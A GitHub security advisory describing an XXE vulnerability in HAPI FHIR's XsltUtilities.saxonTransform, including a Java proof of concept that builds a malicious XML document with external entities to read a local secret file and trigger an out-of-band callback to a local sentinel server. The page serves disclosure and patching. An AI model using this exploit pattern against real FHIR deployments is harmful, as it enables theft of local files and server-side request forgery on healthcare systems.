GitHub Advisoryadvisory · Maven

GHSA-2f55-g35j-5jmf HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory

CRITICAL Published 2026-06-17 Modified 2026-06-17 Official page ↗
Aliases
CVE-2026-55471
Ecosystem
Maven
Packages
ca.uhn.hapi.fhir:org.hl7.fhir.utilities
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weaknesses
CWE-611
Reviewed
2026-06-17

Affected packages

• Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities: < 6.9.10 → fixed in 6.9.10

Description

Summary `org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT transform helpers. The `transform(...)` overloads obtain their `TransformerFactory` from the project's hardened helper `XMLUtil.newXXEProtectedTransformerFactory()` (which sets `ACCESS_EXTERNAL_DTD=""` and `ACCESS_EXTERNAL_STYLESHEET=""`). The sibling `saxonTransform(...)` overloads instead instantiate a bare `new net.sf.saxon.TransformerFactoryImpl()` with no external-access restriction. A document transformed through any `saxonTransform(...)` overload is parsed with external general entities and external DTD/parameter entities enabled, so an attacker who controls (or can MITM) the transformed XML obtains XML External Entity injection: local file disclosure and blind XXE / SSRF to arbitrary URLs reachable from the host. `XMLUtil` documents that its protected factory "should be the only place where TransformerFactory is instantiated in this project". The `saxonTransform` overloads violate that contract while their same-file `transform` siblings honour it. Affected versions `org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`) ` files, byte[] source, byte[] xslt) throws TransformerException { TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); // files, byte[] source, byte[] xslt) throws TransformerException { TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // `) and external DTD/parameter entities (``). This is a classic CWE-611. The asymmetry — one family hardened, the co-located sibling family bare — is the bug: the protection that already exists in the same class was not extended to the `saxonTransform` variants. Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`) A self-contained Maven project. `pom.xml` pulls the latest released artifact, which transitively brings `net.sf.saxon:Saxon-HE:11.6`. `pom.xml`: ```xml 4.0.0 pocfhir-xslt-xxe-poc1.0 17 17 ca.uhn.hapi.fhir org.hl7.fhir.utilities 6.9.8 ``` `src/main/java/Poc.java`: ```java import org.hl7.fhir.utilities.XsltUtilities; import java.io.*; import java.net.*; import java.nio.charset.StandardCharsets; import java.nio.file.*; import java.util.*; public class Poc { static final String CANARY_MARK = "TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2"; // identity stylesheet: copies the resolved //data text into the output static final String IDENTITY_XSLT = "\n" + "\n" + " \n" + " \n" + "\n"; public static void main(String[] args) throws Exception { Path secret = Files.createTempFile("fhir-secret-", ".txt"); Files.writeString(secret, CANARY_MARK + " :: " + UUID.randomUUID()); final List oobHits = Collections.synchronizedList(new ArrayList<>()); ServerSocket sentinel = new ServerSocket(0); int oobPort = sentinel.getLocalPort(); Thread st = new Thread(() -> { try { while (!sentinel.isClosed()) { Socket s = sentinel.accept(); BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8)); String line = r.readLine(); if (line != null) { oobHits.add(line); System.out.println("[SENTINEL] inbound connection: " + line); } byte[] body = "".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD OutputStream os = s.getOutputStream(); os.write(("HTTP/1.1 200 OK\r\nContent-Type: application/xml-dtd\r\nContent-Length: " + body.length + "\r\n\r\n").getBytes()); os.write(body); os.flush(); s.close(); } } catch (IOException ignored) {} }); st.setDaemon(true); st.start(); // A1: external general entity -> local secret (file read) // A2: external parameter entity -> attacker URL (blind XXE / SSRF) String maliciousSource = "\n" + "\n" + " \n" + " %oob;\n" + "]>\n" + "&canary;\n"; Path srcFile = Files.createTempFile("fhir-malicious-src-", ".xml"); Files.writeString(srcFile, maliciousSource); Path xsltFile = Files.createTempFile("fhir-identity-", ".xslt"); Files.writeString(xsltFile, IDENTITY_XSLT); System.out.println("=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK " + System.getProperty("java.version") + " ==="); System.out.println("=== Saxon: " + saxonVersion() + " ==="); System.out.println("Secret file: " + secret + " (contains " + CANARY_MARK + ")"); System.out.println("OOB sentinel: http://127.0.0.1:" + oobPort + "/\n"); System.out.println("---- ATTACK: XsltUtilities.saxonTransform(source, xslt) [BARE TransformerFactoryImpl] ----"); try { String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString()); System.out.println("transform output: [" + out.trim() + "]"); System.out.println(out.contains(C…

Related

Alias · CVE (1)

  • CVE-2026-55471 HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. vulnerability

Weakness · CWE (1)

  • CWE-611 Improper Restriction of XML External Entity Reference weakness

References